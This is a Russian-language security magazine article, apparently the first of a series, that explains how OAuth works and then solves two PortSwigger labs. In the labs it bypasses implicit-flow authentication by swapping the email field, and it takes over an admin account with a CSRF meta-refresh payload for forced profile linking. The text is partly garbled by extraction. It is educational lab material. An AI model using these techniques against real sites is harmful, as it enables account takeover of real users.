данные. Но статья не об этичности, поэтому перейдем к самой теме.

Чтобы каждый раз не  приходилось вбивать свою электронную почту,
дожидаться прихода на нее сообщения с кодом или ссылкой для подтвержде‐
ния аккаунта и  придумывать сложный пароль, достаточно однажды зарегис‐
трироваться на  одном из  мегапопулярных сайтов и  входить под  созданной
учетной записью на остальных.

Такая технология есть, она давно известна и называется OAuth. Именно ее
используют соцсети и прочие крупные сервисы, когда предлагают авторизо‐
ваться через них.

Страница входа в AliExpress

Этот метод входа стал настолько обыденным, что многие не  задумываются
о  том, как  он устроен,  — а  зря, ведь дьявол, как  известно, кроется как  раз
в деталях. Мелочей здесь настолько много, что пришлось разделить гигант‐
ский материал по этой теме на три части.

В этой и  следующих статьях мы пошагово разберем, как  работают тех‐
нологии OAuth и  OpenID Connect, в  чем отличия разных версий протоколов
и какие риски несут эти технологии при неправильной реализации. Мы также
обязательно пройдем лаборатории PortSwigger, чтобы научиться эксплуати‐
ровать уязвимости на практике.

Начнем с базовых атак на OAuth.

ЧТО ТАКОЕ OAUTH И КАК ОН ПОЯВИЛСЯ

На неофициальном сайте Аарона Парецкого (Aaron Parecki), который собира‐
ет информацию об  OAuth,  краткое, простое, емкое и  довольно
понятное определение:

приведено

« »
OAuth 2.0  — это  способ авторизации, с  помощью которого поль-
зователи могут предоставлять веб‑сайтам или  приложениям доступ
к своей информации, не передавая пароли.

Не надо вводить ничего лишнего: нажал кнопку, выдал согласие  — и  у при‐
ложения тут же оказались твои данные. В  современном вебе OAuth под‐
держивает практически каждый крупный сайт, и действительно многие поль‐
зователи выбирают его вместо классических механизмов.

Сам протокол существует уже давно. Идея создания OAuth возникла
во  время разработки Twitter OpenID (не стоит путать с  OpenID Connect),
в  ноябре  2007  года, когда компания создавала интеграцию с  Ma.gnolia.
Это канувший в Лету социальный сервис закладок, где люди могли делиться
сохраненными ссылками на сайты.

Сайт Ma.gnolia

Целью интеграции Twitter и  Ma.gnolia было дать возможность Ma.gnolia
использовать виджеты информационной панели Twitter. Блейн Кук, на то вре‐
мя ведущий разработчик в Twitter, заметил, что открытого механизма, который
делегировал бы доступ к API, просто не существует.

На тот момент уже были похожие решения, о  которых ты, наверное, мог
и не слышать: AuthSub (Google), BBAuth (Yahoo), OpenAuth (AOL), Windows Live
ID Web Authentication (Microsoft) и  Facebook Auth (Meta). Но  они были проп‐
риетарными и  потому не  годились. Еще  более древние методы вроде
передачи паролей небезопасны и неудобны для таких сценариев. OAuth был
предложен как решение этой проблемы.

Схема работы OAuth на условном примере

Вот как лаконично описывают OAuth разработчики Джон Панзер и Эран Хам‐
мер‑Лахав, которые участвовали в создании открытой спецификации:

«

»

OAuth — это своего рода ключ доступа ко всем вашим веб‑сервисам.
Ключ парковщика позволяет вам дать парковщику возможность при-
парковать ваш автомобиль, но  не дает ему возможности попасть
в багажник, проехать более двух миль или ограничить обороты вашего
дорогого немецкого автомобиля. Точно так же ключ OAuth позволяет
вам дать веб‑агенту возможность проверять вашу веб‑почту, но 
возможность притворяться вами и  отправлять почту всем знакомым
из вашей адресной книги.

не

Финальный вариант реализации версии OAuth 1.0  был утвержден  4  декаб‐
ря 2007 года (анонс можно найти в  ), а уже в 2008 году этот про‐
токол поддержал у  себя Google, и  аудитория протокола начала расти
в  геометрической прогрессии. К  2010  году Twitter заставил все сторонние
приложения использовать свою реализацию OAuth 1.0.

веб‑архиве

Но за  год до  этого события, в  2009  году, была  атака с  фик‐
сацией сессии, позволявшая злоумышленникам получать доступ к  чужим
ресурсам. В результате этого аудита была разработана немного улучшенная
версия протокола  — OAuth 1.0a, в  которой добавили параметры

 и   для защиты от таких атак.

обнаружена

oauth_callback oauth_verifier
Однако это не решило остальные проблемы OAuth 1.0 — небезопасность

и  неудобство использования. Разработчики жаловались, что первый OAuth
требовал слишком больших криптографических вычислений на стороне кли‐
ента  — запросы нужно было подписывать с  помощью HMAC. Многим такая
криптография срывала сроки разработки и  серьезно усложняла тестирова‐
ние.

За три года с  момента зарождения первой версии протокола разработ‐
чики придумали более простое на  уровне реализации, но  более совер‐
шенное функционально решение, которое привносило много нововведений
и  которое стали называть OAuth 2.0. Этот протокол появился в  2010  году,
а  его последняя версия, в  качестве RFC 6749, была опубликована
в октябре 2012 года.

Продолжение статьи
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РАЗБИРАЕМ УСТРОЙСТВО ПРОТОКОЛА НА РЕАЛЬНОМ ПРИМЕРЕ

Чтобы было понятнее, давай использовать реальный пример. OAuth под‐
держивает несколько Flow, или  «потоков», которые определяют, как  именно
происходит обмен информацией между клиентом, ресурсным сервером
и сервером авторизации (с этими понятиями мы познакомимся немного поз‐
же), и  самый используемый в  современном вебе на  десктопных сайтах  —
это Authorization Code Flow. С него и начнем.

Существует известный сайт , который позволяет соз‐
давать изображения с помощью генеративной нейросети.

legacy.midjourney.com

Чтобы пользоваться его функциями и  иметь возможность создавать кар‐
тинки, надо войти в  свой аккаунт, а  модель авторизации построена как  раз
с помощью технологии OAuth.

В OAuth есть четыре сущности:
  — под  ресурсом подразуме‐

ваются различные данные пользователя, это  может быть почта, номер
телефона, имя, никнейм и  так далее. Владелец ресурса  — тот поль‐
зователь, который владеет этими данными;

• Resource Owner (владелец ресурса)

 или    — само приложение,

которое требует доступ к  ресурсам пользователя. В  нашем примере
это  сервис Midjourney, который хочет получить наш юзернейм, аватарку
и адрес электронной почты, на что требуется согласие от нас;

• Application (приложение) Client (клиент)

 — сервер, который

выдает OAuth-токены клиенту после согласия владельца ресурса. На сайте
Midjourney в  качестве авторизационного сервиса выступают Discord
и Gmail;

• Authorization Server (авторизационный сервер)

  — это  сайт, где хранятся почта,

номер телефона, имя пользователя и  другие данные, которые хочет
получить клиент. Мы будем входить через Discord (на котором мы уже
зарегистрировались когда‑то), а  значит, Discord и  будет выступать
в качестве этого сервера.

• Resource Server (сервер ресурсов)

Схематично Authorization Code Flow в OAuth выглядит следующим образом.

Схематичное изображение Authorization Code Flow

Когда я описывал сервер авторизации и сервер ресурсов, ты мог заметить,
что в нашем примере это в обоих случаях Discord. Здесь стоит отметить, что
действительно в качестве этих серверов очень часто выступают одни и те же
сервисы, но с разными эндпоинтами.

Это отлично показывает схема из документации Microsoft.

Альтернативная схема от Microsoft

Пугаться обилию информации не  стоит, мы разберем каждый из  пунктов
по порядку.

Authorization Request
Первый этап называется Authorization Request — запрос на авторизацию.
1. Пользовать нажимает на кнопку Sign In на главной странице сайта, чтобы

войти.
2. Сайт показывает поп‑ап с выбором социальной сети, через которую поль‐

зователь хочет войти.

Вход на сайт Midjourney

3. Мы выбираем Continue with Discord, приложение Midjourney генерирует
ссылку на  Discord и  редиректит нас по  ней. Там мы встречаем форму
с просьбой войти в свой аккаунт.

Страница входа в Discord

При этом URL, по которому мы перешли, — это не сырая ссылка на вход, вро‐
де . Она особенна тем, что содержит множество параметров, которые
были сгенерированы приложением, и выглядит следующим образом:

/login

<https://discord.com/login>
?redirect_to=/oauth2/authorize

?response_type=code

&client_id=936929561302675456

&redirect_uri=https://www.midjourney.com/__/auth/handler

&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-
zsdFLI3lv11Dlz0syNqa-sQ_fO9vwS_buX5sfKH_
JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_
0NZniAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-
UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-
ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_
GLwVTixPua1vD1ChLxPi7QgIiRQCk

&scope=identify email guilds.join guilds.members.read role_
connections.write

&context_uri=https://www.midjourney.com


Разберем каждый из параметров:
 — случайное значение, которое генерирует Discord или любой

другой сервер авторизации. Этот ID выдается сайту, в  данном случае
Midjourney. Для  каждого из  сервисов‑клиентов это  значение уникально.
Оно нужно для  того, чтобы Discord понимал, что за  приложение зап‐
рашивает данные его пользователя, то есть для идентификации;

• client_id

  — URI, на  который Discord должен перенаправить поль‐
зователя после успешной авторизации. В данном случае он должен вер‐
нуть его обратно на  сайт Midjourney. Несколько уязвимостей завязано
на неправильной обработке этого параметра, их мы рассмотрим позже;

• redirect_uri

  — уникальное значение, которое генерируется на  каждую сессию
авторизации, чтобы защититься от CSRF-атак. В одной из лабораторий мы
тоже научимся их эксплуатировать для кражи чужого аккаунта;

• state

 — если OAuth — это протокол авторизации, то параметр
 говорит о том, какой флоу этого протокола будет исполь‐

зоваться: их несколько, и  они немного отличаются друг от  друга. Сейчас
приложение подставляет сюда значение , но  тут также может быть

 или  ;

• response_type

response_type

code

token id token

 — это те данные или эндпоинты, на которые клиентское приложе‐
ние Midjourney хочет получить у сервера ресурсов доступ.

• scope

В данном случае параметры следующие:
 открывает приложению возможность обращаться к эндпоинту 

 Discord, чтобы получить информацию о пользователе, но без
email;

• identify /

users/@me

  — добавляет согласие на  выдачу email. Предыдущий эндпоинт
теперь будет возвращать и его тоже;

• email

  — нужен, чтобы клиент мог обращаться к  эндпоинту 
, который возвращает имя пользователя, его ID, баннер

и другие параметры.

• guilds /users/

@me/guilds

Помимо ,  и  , есть и  другие атрибуты для  параметра

, c ними можно ознакомиться в  .

identify email guids
scope документации Discord

Consent Screen и Authorization Response
После того как  мы вошли, нас встречает экран‑уведомление, который
называется Consent Screen. В  нем говорится о  том, что клиент Midjourney
хочет получить доступ к данным о нас.

Страница Consent Screen в Discord

Порой некоторые поля авторизационный сервер делает опциональными
и  пользователь может убирать данные, которые будут переданы. У  Яндекса
есть хороший пример.

Страница Consent Screen в Яндексе

Дальше есть две кнопки: отказаться от  предоставления доступа или  сог‐
ласиться. Если пользователь соглашается, то сайт редиректит его обратно
по пришедшему от приложения в параметре  URI.redirect_uri

В случае с Midjourney эта ссылка выглядит так:

https://midjourney.com/api/auth/callback/discord/

?code=<CENSORED>

&state=dLybVCqXiFHNLYcwiOLhrVKoQHMJwRKU9W7BxoDIGNo


Здесь  — это код авторизации, который сгенерировал только что OAuth-

провайдер, этот код здесь ключевой и  будет использоваться в  дальнейшем
как подтверждение того, что пользователь предоставил доступ к своим дан‐
ным, а    — параметр из  предыдущего шага, выполняющий роль CSRF-

токена.

code

state

В момент, когда мы нажимаем OK, в  базу данных сервера авторизации
попадает тот самый : записываются данные о  том, что такой‑то поль‐

зователь дал такие‑то доступы такому‑то сервису. Клиент получает иден‐
тификатор успешной аутентификации, который ассоциируется с  данными
в базе данных. В нашем случае это  .

grant

code

Access token request
Итак, пользователь согласился предоставить свои данные, Discord выполнил
редирект с кодом обратно на Midjourney. Теперь Midjourney, получив код авто‐
ризации, должен обменять его на OAuth-токен, чтобы иметь возможность им
воспользоваться и запросить сведения о пользователе.

Такой флоу может показаться кому‑то необычным: почему  бы сразу
не  отдать токен? Это  нужно для  того, чтобы злоумышленник, вставший
посередине между пользователем и  сервером, не  мог перехватить OAuth-
токен.

Приложение Midjourney, получив  от  только что пришедшего поль‐
зователя, где‑то у  себя на  бэкенде делает следующий запрос на  сервер
авторизации (пользователь его не увидит):

code

POST /api/v10/oauth2/token HTTP/1.1

Host: discord.com

…

client_id=12345

&client_secret=SECRET

&redirect_uri=https://midjourney.com/callback

&grant_type=authorization_code

&code=<CENSORED>


Снова рассмотрим все параметры по порядку, пусть даже некоторые из них
повторяются:

  — уникальное значение, которое Discord заранее выдал
Midjourney, чтобы тот однозначно себя идентифицировал и  Discord
понимал, что к нему пришел именно Midjourney;

• client_id

 — как я уже говорил, злоумышленник мог бы перехватить
 пользователя и от имени Midjourney (с его ) обменять код

на  OAuth-токен, но  параметр  дает некоторые гарантии,
что он не  сможет это  сделать. Приложение должно держать

 в секрете и использовать только при запросах на сервер
ресурсов, а сервер должен сверять  и  ;

• client_secret

code client_id

client_secret

client_secret

client_id client_secret

  — говорит серверу ресурсов, куда он должен вернуть
токен;

• redirect_uri

 — тип используемой авторизации, в данном случае это зна‐
комый нам , следующий далее;

• grant_type

authorization_code

  — код, который ранее передал пользователь, обозначает его сог‐
ласие на передачу данных.

• code

Пример реализации такого запроса на Python:

 import requests

  API_ENDPOINT = 'https://discord.com/api/v10'
  CLIENT_ID = '332269999912132097'

  CLIENT_SECRET = '937it3ow87i4ery69876wqire'
  REDIRECT_URI = 'https://xakep.ru'

 def exchange_code(code):
   data = {
    'grant_type': 'authorization_code',
    'code': code,
    'redirect_uri': REDIRECT_URI
 }
   headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
 }
       

  
r = requests.post('%s/oauth2/token' % API_ENDPOINT, data=data,

headers=headers, auth=(CLIENT_ID, CLIENT_SECRET))
 r.raise_for_status()
  return r.json()

Access token grant
Сервер авторизации валидирует  и  , чтобы убе‐
диться, что к  нему пришел настоящий Midjourney. И  сверяет  с  тем,

который он выдал пользователю. Если все эти данные верны, то он выписы‐
вает  (он же OAuth-токен) и отдает его в ответе, с которым при‐
ложение Midjourney уже сможет получить настоящие данные пользователя.

client_id client_secret
code

access_token

{
 "access_token": "6qrZcUqja7812RVdnEKjpzOL4CvHBFG",
 "token_type": "Bearer",
 "expires_in": 604800,
 "refresh_token": "D43f5y0ahjqew82jZ4NViEr2YafMKhue",
 "scope": "identify"

}

OAuth-токен уникальный, живет определенное время, и  на каждого поль‐
зователя он свой. Помимо самого токена, приложение возвращает некото‐
рые другие атрибуты, вроде типа токена, срока жизни и  скоупа данных,
на которые он выдается.

API Call и Resource Grant
Midjourney наконец получает этот токен и должен сохранить его где‑то у себя,
чаще всего хранилищем выступает база данных. Теперь он может ходить
с этим токеном в API Discord и получать актуальные данные о пользователе.

Вот пример запроса на получение информации о пользователе по OAuth-
токену. Пользователь указан в заголовке Authorization:

GET /api/v10/users/@me HTTP/1.1

Host: discord.com

Authorization: Bearer z0y9x8w7v6u5


На этом этапе флоу заканчивается. Midjourney получает почту пользователя,
его имя и другие данные, указанные в скоупе.

{
"username":"carlos",
"[email":"carlos@carlos-montoya.net](mailto:email%22:
%22carlos@carlos-montoya.net)",
…
}

Midjourney сохраняет эти данные у себя в базе и регистрирует пользователя.
Далее пользователь перенаправляется в  личный кабинет, и  уже там отоб‐
ражается его юзернейм, который был получен по токену из API Discord.

Сайт Midjourney после входа

Напоследок для закрепления знаний оставлю еще одну схему — на этот раз
на примере аутентификации через Google на все том же сайте Midjourney.

Authorization Code Flow, если бы мы заходили на сайт через Google

IMPLICIT GRANT FLOW

В зависимости от цели разработчики могут использовать разные флоу OAuth.
Второй поток называется Implicit Grant Flow, и он проще по сравнению с тем,
который мы только что разобрали.

Наглядное изображение Implicit Grant Flow

Помнишь параметр , который указывало приложение?

В прошлом флоу туда подставлялся , теперь же это  . После этапа
с  Authorization Code Grant приложение вместо кода будет возвращать сразу
токен — минуя этап с обменом  на  .

response_type
code token

code token
Давай вкратце пройдемся по каждому шагу.

 Пользователь нажимает «Войти через Midjourney», приложение
формирует ссылку и редиректит пользователя на сервер авторизации.

Шаг  1.

Ссылка та же, что и раньше, но, как видишь,  изменился:response_type

<https://discord.com/login>
?redirect_to=/oauth2/authorize
?response_type=code
&client_id=936929561302675456
&redirect_uri=https://www.midjourney.com/__/auth/handler
&state=
AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-
zsdFLI3lv11Dlz0syNqa-
sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZ
niAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-
UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-
ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7Qg
IiRQCk

    &scope=identify email guilds.join guilds.members.read
role_connections.write
&context_uri=https://www.midjourney.com

Значение  равно  — это говорит о том, что используется

Implicit Grant.

response_type token

 Пользователь вводит свои данные и  дает согласие на  передачу

информации о  себе в  приложение, страница с  согласием выглядит, как  и
раньше. Для  разнообразия просто приведем ту, которую показывает
Facebook при попытке входа на AliExpress.

Шаг 2.

Пример окна согласия при входе через Facebook

 Сервер авторизации формирует ссылку, в  которую зашивает токен

OAuth, и редиректит пользователя обратно.

Шаг 3.

Ссылка выглядит примерно так:

#access_token=g0ZGZmNj4mOWIjNTk2Pw1Tk4ZTYyZGI3
&token_type=Bearer
&expires_in=600
&state=xcoVv98y2kd44vuqwye3kcq

Вместо , который был в  прошлом флоу, возвращается сразу
.

code
access_token

 Клиентская часть приложения извлекает токен и начинает исполь‐

зовать его в запросах к серверу ресурсов.

Шаг 4.

Поэтому схема и называется упрощенной, теперь токен напрямую возвра‐
щается в  браузер пользователя. Implicit Grant может использоваться в  SPA-
приложениях (Single Page Application) и  храниться на  стороне пользователя.
Либо в мобильных приложениях, у которых отсутствует серверная часть.

В настоящее время такой флоу не  рекомендуется использовать, но  мы
увидим его в лабораториях.

Продолжение статьи
→
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OAUTH И АУТЕНТИФИКАЦИЯ

Прежде чем мы приступим к решению лабораторных, сделаю важное замеча‐
ние: изначально OAuth не предназначался для аутентификации. Это протокол
для  авторизации, цель которого  — выдать доступ к  определенным данным
владельца ресурса сторонним приложениям, а не аутентифицировать его.

Вернемся к примеру с машиной. Если ты взял напрокат, то есть восполь‐
зовался услугами каршеринга, BMW и получил от него ключи, это не значит,
что машина теперь твоя. Так и в OAuth — если ты принес токен сервису, тот
не  знает, как  у тебя появился этот токен, и  предоставляет лишь на  право
на использование некоторых ресурсов.

Но со  временем многие начали использовать этот протокол не  по наз‐
начению. Есть сайты, которые придумали делать на  основе OAuth аутен‐
тификацию, что противоречит изначальной концепции и  порой влечет
за собой критические уязвимости с компрометацией аккаунтов.

Флоу OAuth в  таком случае остается привычным. Но  здесь важно то,
как  приложение использует полученные данные. Сейчас мы найдем уяз‐
вимость в лаборатории со следующими вводными:

OAuth используется для аутентификации в режиме Implicit Grant;•
после получения токена доступа браузер пользователя обращается к сер‐
веру ресурсов и использует полученные данные для входа в систему;

•

веб‑приложение доверяет пользовательскому вводу и  принимает токен
доступа в качестве пароля.

•

Лаба: Authentication bypass via OAuth implicit flow
• Лабораторная работа на сайте PortSwigger

Implicit flow  — это  тот сценарий, когда токен возвращается напрямую поль‐
зователю. Сейчас мы на практике увидим, как неправильная настройка может
привести к компрометации любого аккаунта на сайте.

Запускаем лабораторию и  попадаем на  главную страницу блога. Так
как мы имеем дело с OAuth, нам нужно перейти в раздел My account, чтобы
проследовать полному флоу и иметь возможность проанализировать его.

Главная страница блога

Нажимаем My account, и вот мы на странице входа.

Страница входа в аккаунт

Вводим выданные нам перед  началом решения данные для  входа (логин
, пользователь ), подтверждаем выдачу доступа к  профилю

и электронной почте.

wiener peter

Страница подтверждения доступа

Теперь мы попали в  собственный личный кабинет, но  по заданию надо
попасть в чужой.

Личный кабинет

Давай внимательно посмотрим на  запросы и  разберемся, как  устроен про‐
цесс входа.

Первый запрос  — на  страницу My account. Поскольку мы не  были аутен‐
тифицированы, нас перенаправило на  страницу входа через социальную
сеть, без  возможности использовать стандартную аутентификацию и  авто‐
ризацию (на сайте ее просто нет).

Редирект на вход через социальную сеть

Следующий запрос  — это  Authorization Request. Основное приложение соз‐
дало HTML-код с редиректом с помощью тега , который ведет на сервер

авторизации.

meta

  <meta http-equiv=refresh content='3;url=https://
oauth-0aeb00740370fc9c81e39155023700ad.oauth-server.net/
auth?client_id=corfmvitwnpodbwncbim3&redirect_uri=https://
0afc0017030dfc668162939300c10098.web-security-academy.net/
oauth-callback&response_type=token&nonce=1924369299&
scope=openid%20profile%20email'>

Этот же редирект можно увидеть на вкладке Proxy History, в ответе на запрос
./social-login

Еще один редирект, на сервер авторизации

Сервер авторизации редиректит нас на страницу входа.

Authorization Request на реальном примере

Вводим логин и пароль, следует еще один редирект. На этот раз на Consent
Screen, где мы должны подтвердить свое согласие на выдачу доступа к собс‐
твенным данным.

Ввод логина и пароля на сайте социальной сети

Соглашаемся простым POST-запросом.

Запрос на подтверждение передачи данных

Сервер OAuth еще раз перенаправляет нас — на этот раз наконец на клиент‐
ское приложение.

Редирект обратно в клиентское приложение

В ссылке возврата можно найти наш , срок его жизни и  тип.
Учитывая, что это  упрощенный флоу, токен возвращается в  браузер поль‐
зователя.

access_token

[https://0afc0017030dfc668162939300c10098.web-security-academy.net/
oauth-callback

#access_token=0Ue2cGVe8U7e4xzKc_EFAxxipYPbDaRfP9YTXtdKxGV

&expires_in=3600

&token_type=Bearer

&scope=openid profile email](https://
0afc0017030dfc668162939300c10098.web-security-academy.net/oauth-
callback#access_token=0Ue2cGVe8U7e4xzKc_EFAxxipYPbDaRfP9YTXtdKxGV&
expires_in=3600&token_type=Bearer&scope=openid%20profile%20email)


Итак, мы вернулись на  страницу  основного приложения,

где его JavaScript говорит нам сделать запрос к приложению, используя поч‐
ту, имя пользователя и токен.

/oauth-callback

Скрипт, который выполняет дальнейшую логику

Этот запрос — запрос на аутентификацию, где
в качестве  и   используются полученные данные из  сер‐
вера ресурсов;

• email username

в качестве пароля используется , который мы получили
от сервера авторизации.

• access_token

В ответ сервер возвращает нам свою куку, с которой мы будем ходить по сай‐
ту.

Мы успешно вошли на сайт, сайт вернул куку

При этом походы из браузера выглядят следующим образом: наш браузер →
сервер (валидация токена) → Resource Owner.

Если токен валидный, то сервер считает, что мы успешно аутентифици‐
ровались с почтой, которая была указана в запросе. И здесь мы натыкаемся
на главную проблему — сервер доверяет любым данным, которые мы указали
в качестве  и  , выписывая куку на того пользователя, который

приходит в параметре.

email username

Чтобы пройти лабораторию, мы должны зайти от  имени пользователя
. Все, что для этого нужно сделать, — заменить

наш email адресом того пользователя, от  имени которого мы хотим зайти.
И отправить запрос, чтобы получить куку.

carlos@carlos-montoya.net

Что мы и делаем.

Запрос к API с чужой почтой и логином

Если ты все сделал правильно, сервер должен выдать новую куку. Эта кука
принадлежит пользователю . Сервер принима‐

ет от нас  и   и безоговорочно доверяет им, в этом и заключа‐

ется уязвимость. После того как мы отправили данные, он просто валидирует
токен и, если он корректный, направляет в личный кабинет того пользователя,
которого мы указали в запросе.

carlos@carlos-montoya.net
email username

Способ открыть ответ в браузере

Открываем в  браузере страницу с  помощью опции Request in  browser →
In original session и убеждаемся в том, что мы успешно прошли первое испы‐
тание.

Уведомление о прохождении лаборатории

Продолжение статьи
→

https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow
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CSRF-АТАКИ НА OAUTH

Эксплуатация CSRF

OAuth  — это  очень гибкий протокол, который предоставляет много воз‐
можностей для  разработчиков. Именно по  этой причине в  нем и  возникают
уязвимости — разработчики хотят написать свой сервис как можно быстрее
и пользуются кодом из первых же ссылок в Google, порой написанным с гру‐
бейшими ошибками.

В лаборатории, которую мы сейчас рассмотрим, нужно сначала зарегис‐
трироваться классическим способом. А  после регистрации пользователь
имеет возможность прилинковать в  настройках аккаунт своей социальной
сети, чтобы входить через него в тот, который был зарегистрирован на пер‐
вом этапе.

Звучит необычно, но  такое действительно встречается (хотя и  реже, чем
раньше). Камнем преткновения здесь становится параметр , который

служит защитой от  CSRF-атак, чтобы хакер не  мог выполнить действие
от имени другого пользователя.

state

Как работает CSRF-токен

Работает он очень просто:
1. Клиентское приложение (например, Midjourney) генерирует уникальную

строку  и  подставляет ее в  ссылку, которая на  этапе Authorization
Request направляет пользователя на сервер авторизации.

state

2. После аутентификации пользователя сервер авторизации перенаправляет
его обратно на  указанный  с  тем же включенным в  URL
параметром .

redirect_uri

state

3. После получения ответа клиентское приложение сравнивает полученное
значение  с  ранее сгенерированным и  сохраненным значением.
Если значения совпадают, это  подтверждает, что запрос подлинный,
и можно продолжать аутентификацию.

state

Злоумышленник не может взять свою ссылку с собственным  и прислать

какому‑то случайному пользователю, потому что она привязывается к  его
куке, которая генерируется точно так же на первом шаге. И CSRF-атака ста‐
новится невозможной.

state

Но параметр   — необязательный, и  многие разработчики им пре‐

небрегают. В этой лаборатории его не будет, и мы увидим на реальном при‐
мере, как  можно заполучить контроль над  аккаунтом администратора сайта
благодаря возникшей уязвимости.

state

Лаба: Forced OAuth profile linking
• Лабораторная работа на сайте PortSwigger

Открываем главную страницу уже знакомого нам блога, но с новыми постами.

Главная страница блога

Переходим в My account. Теперь нам выдали сразу две учетные записи: пер‐
вую — классическую для входа через сайт, а вторую — для входа через соци‐
альную сеть. Поскольку к нашему аккаунту социальная сеть еще не привяза‐
на, мы входим классическим способом.

Страница входа

Вводим данные пользователя  и попадаем в личный кабинет. Помимо

уже привычных полей  и  , которые были в  прошлых лабора‐
ториях, мы можем заметить тут свой ключ API и  возможность прилинковать
к  текущему аккаунту социальный профиль, чтобы заходить через него в  уже
созданный личный кабинет без ввода логина и пароля.

wiener
username email

Личный кабинет

Давай нажмем Attach a social profile и проследим за полным флоу, точно так
же, как мы это уже делали раньше. Поскольку это неотъемлемая часть поиска
уязвимостей.

Сначала нас редиректит на страницу входа с помощью социальной сети.

Страница входа через социальную сеть

Здесь мы вводим пароль от второго выданного аккаунта  и под‐

тверждаем выдачу доступа к своему профилю и электронной почте.

peter.wiener

Экран с подтверждением доступа

Получаем уведомление о том, что профиль привязан.

Уведомление об успешной линковке профиля

Флоу не  сильно отличается от  предыдущего, но  теперь он используется
в новом сценарии. Наша задача, как и раньше, состоит в том, чтобы скомпро‐
метировать администратора. В  этом нам поможет уязвимость, которую мы
сейчас обнаружим, а также Exploit Server, с помощью которого мы можем дос‐
тавить полезную нагрузку до администратора.

Раньше его не было в заданиях, но в этом сценарии требуется взаимодей‐
ствие с пользователем, поэтому он просто необходим. На Exploit Server мож‐
но разместить собственную полезную нагрузку и  заманить администратора.
Все CSRF-атаки заключаются в том, чтобы от имени пользователя отправить
какой‑либо запрос, а без верстки это не сделать.

Эксплоит‑сервер

Снова посмотрим HTTP History в  Burp Suite. Здесь нас интересует
Authorization Response — тот редирект в само приложение, который происхо‐
дит, когда мы соглашаемся выдать доступ к нашим данным.

Запрос на линковку аккаунта с кодом авторизации

Как можно заметить, здесь нет параметра, который  бы защищал от  CSRF-
атак. Только , который является фактором согласия пользователя. Что
будет, если по этой ссылке перейдет администратор, который уже залогинен
в собственный аккаунт на сайте?

code

Произойдет неприятная ситуация:
1. Администратор перейдет по ссылке, которая линкует социальный аккаунт

хакера к аккаунту того, кто перешел, то есть самого админа.
2. Хакер сможет зайти через собственный аккаунт социальной сети

и попасть не в свой аккаунт, а в аккаунт того, кого он атаковал, в данном
случае это администратор.

Для реализации этой атаки нам нужно написать немного HTML, который
будет выполнять этот редирект. Если у тебя есть Pro-версия Burp Suite, то он
умеет автоматически генерировать форму для  CSRF-атаки: кликай правой
кнопкой мыши на запросе → Engagement Tools → Generate CSRF PoC. Но мы
сделаем это вручную, здесь это будет очень просто.

Пишем HTML, который выполнит редирект с  нашим . Здесь мы

используем тег  с атрибутом , чтобы направить пользователя
по указанному в   урлу.  — это задержка перед редиректом, то есть

нам нужно сделать его сразу, как пользователь попадает на страницу.

code
meta http-equiv
content 0

  
 

<meta http-equiv="refresh" content="0; url=https://<поддомен 
лаборатории>.web-security-academy.net/oauth-linking?code=<code>" />

Копируем разметку выше и вставляем в него ссылку с линковкой. Кликай пра‐
вой кнопкой мыши на запросе и выбирай Copy URL.

Как быстро скопировать URL из Burp

Код получился такой:

  

 

<meta http-equiv="refresh" content="0; url=https://
0aa000b304cfe7de81ffa71800960086.web-security-academy.net/
oauth-linking?code=UV_ah4kbQkY7GdedaCFP6pwFxcM_z9CW9Hv0ePlfSNM" />

Переходим в  Exploit Server и  вставляем этот код в  поле Body. Это  будет
содержимым страницы по адресу ./exploit

Эксплоит‑сервер с нашей полезной нагрузкой

Можно проверить, правильно ли все отработает: жми Store, чтобы сохранить,
а потом зайди на саму страницу. А если ты уверен, что с первой попытки все
сделал правильно, можешь сразу позвать администратора. Для  этого
нажимаем на Deliver exploit to victim.

Далее мы переходим в Access log, чтобы посмотреть логи Nginx, который
показывает все посещения страниц. Серым я замазал собственный IP, но,
кроме него, можно заметить и  другой  — это  IP администратора. Если он
заходил на страницу, значит, бот сработал.

Логи Nginx, где видно администратора

Теперь возвращаемся в блог и логинимся через социальную сеть.

Страница входа

Если атака удалась, ты теперь окажешься не в своем кабинете, а в кабинете
администратора.

Личный кабинет администратора

Заходим в  админку и  удаляем Карлоса (это нужно сделать по  условию
задачи).

Админка, откуда можно удалять пользователей

И получаем уведомление об успешном прохождении.

Уведомление об успешном прохождении лаборатории

ВЫВОДЫ

В этой статье мы познакомились с технологией OAuth, немного погрузились
в  историю и  узнали, как  появился этот протокол авторизации, разобрали,
как он работает, на примере Midjourney, познакомились с Authorization Code
Flow и  его упрощенным вариантом Implicit Grant Flow и  решили две лабора‐
торные работы с  базовыми атаками на  протокол, которые довольно просто
реализовать.

В следующих статьях мы узнаем о  еще нескольких технологиях,
без  которых не  обходится современный веб, а  также научимся комбиниро‐
вать разные уязвимости в цепочки, чтобы осуществлять атаки на более слож‐
ные и защищенные сайты.

https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking
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Сегодня разберем мисконфиги OAuth,
которые встречаются в  дикой природе и,
хоть сами по  себе безобидны, в  опре‐
деленных условиях могут иметь серьезные
последствия — вплоть до похека админских
аккаунтов. В  этой статье я покажу,
как искать такие цепочки уязвимостей.

Ты, например, мог слышать про Open Redirect, который часто не воспринима‐
ют всерьез и за обнаружение которого не платят Bug Bounty. Но если ты смо‐
жешь найти способ красиво заюзать его и  повысить импакт до  кражи акка‐
унта, это уже совсем другое дело.

INFO

О том, как устроен протокол OAuth и как эксплу‐
атируют базовые уязвимости в нем, читай в моей
предыдущей статье  — «

».
OAuth от  и до. Изучаем

